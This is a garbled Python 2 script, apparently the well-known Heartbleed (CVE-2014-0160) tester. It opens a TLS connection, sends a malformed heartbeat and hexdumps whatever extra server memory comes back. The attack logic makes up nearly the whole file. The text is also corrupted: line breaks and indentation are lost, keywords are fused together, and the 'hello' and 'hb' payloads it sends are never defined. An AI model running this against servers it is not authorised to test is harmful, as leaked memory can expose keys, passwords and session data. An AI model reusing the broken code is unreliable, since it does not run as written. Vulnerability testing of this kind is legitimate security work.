import sys import struct import socket import time import select import re from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
defhexdump(s): for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if32 <= ord(c) <= 126else'.' )for c in lin) print' %04x: %-48s %s' % (b, hxdat, pdat) print
defrecvall(s, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: returnNone r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? ifnot data: returnNone rdata += data remain -= len(data) return rdata
defrecvmsg(s): hdr = recvall(s, 5) if hdr isNone: print'Unexpected EOF receiving record header - server closed connection' returnNone, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay isNone: print'Unexpected EOF receiving record payload - server closed connection' returnNone, None, None print' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) return typ, ver, pay
defhit_hb(s): s.send(hb) whileTrue: typ, ver, pay = recvmsg(s) if typ isNone: print'No heartbeat response received, server likely not vulnerable' returnFalse
if typ == 24: print'Received heartbeat response:' hexdump(pay) iflen(pay) > 3: print'WARNING: server returned more data than it should - server is vulnerable!' else: print'Server processed malformed heartbeat, but did not return any extra data.' returnTrue
if typ == 21: print'Received alert:' hexdump(pay) print'Server returned error, likely not vulnerable' returnFalse
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print'Connecting...' sys.stdout.flush() s.connect((args[0], opts.port)) print'Sending Client Hello...' sys.stdout.flush() s.send(hello) print'Waiting for Server Hello...' sys.stdout.flush() whileTrue: typ, ver, pay = recvmsg(s) if typ == None: print'Server closed connection without sending Server Hello.' return # Look for server hello done message. if typ == 22andord(pay[0]) == 0x0E: break